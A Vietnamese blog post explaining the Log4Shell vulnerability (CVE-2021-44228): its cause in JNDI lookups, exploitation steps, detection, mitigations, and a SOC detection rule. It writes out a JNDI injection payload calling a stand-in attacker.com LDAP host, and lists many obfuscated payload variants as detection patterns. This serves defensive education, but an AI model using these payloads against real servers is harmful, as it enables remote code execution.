CVE-2021-44228(LOG4SHELL )

 

CVE-2021-44228(LOG4SHELL )

I.Tổng quan

1. Log4j là gì?

Log4j là 1 thư viện để ghi log của Apache, được sử dụng rộng rãi bởi các các doanh nghiệp và các ứng dụng điện toán đám mây

2. Lỗ hổng

Ngày 9/12/2021, Chen Zhaojun thuộc Alibaba Clould Security Team đã tiết lộ lỗ hổng nghiêm trọng này trong thư viện Log4j cho phép RCE mà không cần xác thực.

Lỗ hổng được định danh CVE-2021-44228(CVSS: 10) được đặt tên là Log4Shell hoặc LogJam, cho phép hacker chiếm quyền kiểm soát hệ thống.

Các phiên bản bị ảnh hưởng: 2.0 - 2.14.1.

Nhiều dự án và ứng dụng như máy chủ Minecraft, Elastic, Paper, Amazon,… đều có sử dụng thư viện này.

Hiện lỗ hổng này đã có PoC và được khai thác tích cực trên toàn thế giới.

II.Nguyên nhân

Từ bản Log4j 2.0, tính năng lookup được bổ sung để lấy các giá trị giúp cho việc logging thuận tiện, gồm cả JNDI lookup.

JNDI là 1 giao thức cho phép kết nối ứng dụng Java tới các dịch vụ thư mục bên ngoài(external directory service) như 1 server LDAP để tìm và nhận Java object chứa value để ghi log. Các hacker có thể dựng 1 LDAP server chứa payload độc hại và khiến ứng dụng load object độc hại này.

III.Cách thức hoạt động

1.Điều kiện khai thác lỗ hổng

·       1 server với có dùng thư viện log4j ver 2.0 - 2.14.1.

·       1 endpoint với bất kì protocol như HTTP, TCP, … cho phép hacker gửi chuỗi expolit.

·       1 log statement có thể log lại chuỗi gửi từ request.

 

2.Các bước khai thác

·       Dữ liệu được gửi từ người dùng đến server(qua bất kì giao thức nào)

·       Server nhận request người dùng gửi lên chứa payload ${jndi:ldap://[attacker.com](<http://attacker.com>)/a} (attacker.com là server điều khiển của kẻ tấn công. Có thể nhận request qua 1 số value/parameter có thể được log bởi log4j(VD: user-agent, username) và truyền 1 strings là 1 câu query tới LDAP server của hacker

·       Lỗ hổng log4j được kích hoạt bởi payload này và máy chủ tạo request tới attacker.com thông qua"Java Naming and Directory Interface" (JNDI).

·       Respone trả về chứa một đường dẫn đến tệp class Java từ xa (ví dụ: http://second-stage.attacker.com/Exploit.class) được chèn vào luồng xử lý của máy chủ.

·       Payload được truyền vào trong tệp class đã cho phép kẻ tấn công có thể thực thi các đoạn code tuỳ ý.

IV. Cách nhận biết lỗ hổng này

Đơn giản nhất là trigger 1 DNS query.

Việc khai thác này sẽ khiến máy chủ có lỗ hổng nạp 1 remote code. Bằng cách dùng địa chỉ của 1 DNS logging tool miễn phí, chúng ta có thể phát hiện khi nào lỗ hổng được kích hoạt.

Canarytokens là một ứng dụng web mã nguồn mở cho mục đích này, nó sẽ tạo chuỗi khai thác tự động và gửi thông báo qua email khi DNS được query.




Request này sẽ trigger lỗ hổng đó.

V. Khắc phục lỗ hổng

Upgrade Log4j lên bản mới nhất(2.15.0)

Nếu không thể upgrade thì:

Set thuộc tính: log4j2.formatMsgNoLookups=true

Hoặc set biến môi trường: LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Hoặc xoá luôn class chứa logic JNDILookup của Log4j:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

V. Rule alert cho SOC

Do Server sẽ nhận các request chứa payload độc hại nên ta sẽ detect dựa vào các payload trong gói tin, điều này đòi hỏi phải có NGFW hoặc IDS.

cs-User-Agent|contains:

         - '${jndi:ldap:/'

         - '${jndi:rmi:/'

         - '${jndi:ldaps:/'

         - '${jndi:dns:/'

         - '/$%7bjndi:'

         - '%24%7bjndi:'

         - '$%7Bjndi:'

         - '%2524%257Bjndi'

         - '%2F%252524%25257Bjndi%3A'

         - '${jndi:${lower:'

         - '${::-j}${'

         - '${jndi:nis'

         - '${jndi:nds'

         - '${jndi:corba'

         - '${jndi:iiop'

         - '${${env:BARFOO:-j}'

         - '${::-l}${::-d}${::-a}${::-p}'

         - '${base64:JHtqbmRp'

         - '${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//'

         - '${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://'

         - '${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://'

         - '${${::-j}${::-n}${::-d}${::-i}:'

Detect tương tự với một số value/param như user-agent, cs-uri, cs-referer

 

Nguồn tham khảo:

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://news.ycombinator.com/item?id=29504755

https://github.com/tangxiaofeng7/apache-log4j-poc

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

https://github.com/YfryTchsGD/Log4jAttackSurface

https://twitter.com/shutingrz/status/1469255861394866177?s=21

sigma/web_cve_2021_44228_log4j_fields.yml at master · SigmaHQ/sigma (github.com)

 

 

 

 

 

Nhận xét

Bài đăng phổ biến từ blog này

Write up forensic root-me UglyDuckling

SOC là gì? Ăn được không?

Write up forensic root-me log analys